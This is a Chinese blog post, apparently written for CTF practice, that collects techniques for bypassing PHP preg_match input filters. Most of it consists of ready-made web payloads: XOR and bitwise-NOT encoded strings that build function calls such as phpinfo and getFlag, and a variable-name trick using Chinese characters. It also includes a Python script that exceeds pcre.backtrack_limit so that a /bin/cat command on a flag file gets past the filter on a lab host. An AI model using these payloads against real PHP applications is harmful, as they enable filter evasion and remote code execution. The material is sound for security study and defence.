正则绕过

正则绕过

一、preg_match()

1.异或绕过

使用异或绕过:可以使用各种特殊字符的异或构造出字母和数字

str = r"~!@#$%^&*()_+<>?,.;:-[]{}\/"

for i in range(0, len(str)):
    for j in range(0, len(str)):
        a = ord(str[i])^ord(str[j])
        print(str[i] + ' ^ ' + str[j] + ' is ' + chr(a))

在这里插入图片描述
构造phpinfo()

$_="`{{{"^"?<>/";${$_}[_]();&_=phpinfo

2.取反绕过

urlencode(~"getFlag")
输出结果为:%98%9A%8B%B9%93%9E%98
payload:?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

在编码前加上 ~ 进行取反

3.取反拼接

~ 在 {} 中执行了取反操作,所以 ${~"\xa0\xb8\xba\xab"} 取反相当于 $_GET,拼接出了 $_GET’+’;,传入 +=getFlag() 从而执行了函数

payload:?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag

4.取反加中文变量

payload:?code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();

5.异或(包括变量名)

payload:?code=${"!"^"~"}="]%];,<<"^":@)}@][";${"!"^"~"}();

6.利用正则回溯最大次数上限进行绕过

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限。回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,preg_match 返回的非 1 和 0,而是 false。

import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://ecb402ec-0327-483b-bea3-90de34f04525.node3.buuoj.cn/", data={"cmd":payload})
#print(payload)
print(res.text)

参考:PHP利用PCRE回溯次数限制绕过某些安全限制

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

v_wus

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值